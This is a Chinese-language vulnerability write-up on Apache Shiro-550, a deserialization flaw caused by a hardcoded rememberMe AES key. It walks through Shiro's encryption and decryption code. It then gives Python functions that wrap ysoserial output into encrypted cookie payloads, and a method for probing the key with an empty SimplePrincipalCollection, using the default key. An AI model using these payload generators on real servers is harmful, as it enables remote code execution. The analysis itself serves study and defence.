前言
漏洞公告:https://issues.apache.org/jira/browse/SHIRO-550
這是個16年的漏洞,直到最近兩年才有了公開利用。官方的漏洞公告說的很明白,漏洞位置在Cookie中的RememberMe字段,功能本是用來序列化,加密,編碼后保存用戶身份的,當收到未驗證身份的請求時,Shiro將會對RememberMe解碼,解密,反序列化以讀取用戶身份,問題出在Shiro本身將加解密的Key硬編碼到源代碼中,這就導致了可以構造惡意數據導致反序列化漏洞。
環境
添加jstl和standard包,使用官方的sample起一個shiro實例
https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4
https://github.com/apache/shiro/releases/tag/shiro-root-1.2.4
<!-- https://mvnrepository.com/artifact/javax.servlet/jstl -->
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<version>1.2</version>
</dependency>
<!-- https://mvnrepository.com/artifact/taglibs/standard -->
<dependency>
<groupId>taglibs</groupId>
<artifactId>standard</artifactId>
<version>1.1.2</version>
</dependency>
對源碼概覽一下,很容易發現問題核心點,即硬編碼Key的位置

通過漏洞原理,首先尋找程序本身登錄成功后序列化用戶信息的過程。
序列化和加密
登錄,對登錄成功后的操作方法打斷點

只有在選擇了記住我后,Shiro才會對用戶信息進行序列化操作。

跟進forgetIdentity方法,跳到了shiro-web.jar


傳遞進去了request和response

這里加了一個Cookie,就是用來做Shiro指紋的Set-Cookie: rememberMe=deleteMe;
當然這里流程是登錄成功后執行的方法,實際上這個添加Cookie的方法在登陸失敗時也有,所以可做成指紋。

回到主要方法上,做了一個簡簡單單的判斷

跟進rememberIdentity方法


將用戶名序列化,加密

跟進加密方法

看一下cipherService對象

跟進getEncryptionCipherKey方法

這個變量在斷點之前已經被設置過了,就是key值base64解碼后的結果


回到上邊,跟進encrypt方法

生成IV值

給到下一步加密方法

固定算法

一路return回去,進入rememberSerializedIdentity方法

把subject對象和序列化加密后的身份信息,經過base64編碼放到了Cookie

至此加密過程就完了,HTTP流量中服務器會把處理過的身份信息設置為rememberMe的Cookie。

解密和反序列化
根據Shiro的變量命名和業務流程,斷點打到org.apache.shiro.mgt.AbstractRememberMeManager的getRememberedPrincipals方法

跟進getRememberedSerializedIdentity,讀取之前處理過的Cookie

對base64補全

返回base64解碼后的字節碼

返回根據convertBytesToPrincipals

跟進

這里帶着數據和Key,跟進decrypt

品一下這個流程,iv的長度是固定的,也就是16位

將源數據的前16位給到了iv,后邊的給到了encrypted,帶着key,繼續跟進

這里的mode硬編碼為2

initNewCipher就是原生的Cipher.init方法了,利用key解密原始數據
return后,就到了反序列化操作

跟進

繼續跟進
這里就到了原生的反序列化了


至此反序列化鏈條結束。
POC
加密流程
- 獲取加密算法:AES/CBC/PKCS5Padding
- 隨機生成IV
- 讀取硬編碼的Key
- 使用以上三者生成密文
- base64編碼,放到Cookie的
rememberMe中
解密流程
- 讀取Cookie中的
rememberMe - base64補全后解密
- IV和數據都從解密后的原數據獲取
- 獲取硬編碼Key
- 利用Key,IV,固定算法對數據解密
- 將解密后的數據反序列化
可以看到,IV是根據原數據生成的,同時key又是硬編碼,這就導致我們可以反序列化任意對象。
POC生成流程
- 生成反序列化數據
- 隨機生成16位的
IV - AES/MODE_CBC
- 用硬編碼的Key和IV對數據加密
- base64加密拼接后的IV和密文
由於Padding Oracle Attack,Shiro從1.4.2開始使用GCM算法,這兩種算法用python都可以實現
def GCMCipher(key, file_body):
iv = os.urandom(16)
cipher = AES.new(base64.b64decode(key), AES.MODE_GCM, iv)
ciphertext, tag = cipher.encrypt_and_digest(file_body)
ciphertext = ciphertext + tag
base64_ciphertext = base64.b64encode(iv + ciphertext)
return base64_ciphertext
def CBCCipher(key, file_body):
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
file_body = pad(file_body)
encryptor = AES.new(base64.b64decode(key), mode, iv)
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
也可以借助ysoserial利用
def generator(fp, plugin, key, command):
if not os.path.exists(fp):
raise Exception('jar file not found!')
popen = subprocess.Popen(['java', '-jar', fp, plugin, command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
利用需要有利用鏈,可以加一個maven
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>

進階檢測
利用Shiro550最關鍵的就是獲取Key值,之前的檢測方法基本都是配合URLDNS或者CC盲打,直到l1nk3r師傅發現了一種快速的檢測Key方法。
當Key錯誤或者正常訪問時,Shiro會返回一個Set-Cookie: rememberMe=deleteMe,跟一下這個操作
回到最初的入口getRememberedPrincipals,跟進到decrypt

一直跟到crypt解密錯誤


步入失敗方法


又來到了forgetIdentity,上邊已經走過,這里是增加rememberMe=deleteMe頭的

讓我們回到反序列化時的關鍵操作

這里我們反序列化的gadget實際上並不是繼承於PrincipalCollection,這里會出現強制類型轉換報錯

雖然彈出了計算器,但是和上邊一樣,同樣會由於錯誤而走到增加rememberMe=deleteMe頭,我們需要一個繼承於PrincipalCollection的類,並且key正確時不額外增加頭。
於是便找到了SimplePrincipalCollection類

空類即可
SimplePrincipalCollection simplePrincipalCollection = new SimplePrincipalCollection();
ObjectOutputStream obj = new ObjectOutputStream(new FileOutputStream("payload"));
obj.writeObject(simplePrincipalCollection);
obj.close();
Key正確時

Key錯誤時

上文SimplePrincipalCollection空類的base64
rO0ABXNyADJvcmcuYXBhY2hlLnNoaXJvLnN1YmplY3QuU2ltcGxlUHJpbmNpcGFsQ29sbGVjdGlvbqh/WCXGowhKAwABTAAPcmVhbG1QcmluY2lwYWxzdAAPTGphdmEvdXRpbC9NYXA7eHBwdwEAeA==
可用上文的CBCCipher方法生成檢測Payload
print(CBCCipher('kPH+bIxk5D2deZiIxcaaaA==', base64.b64decode(payload)).decode())
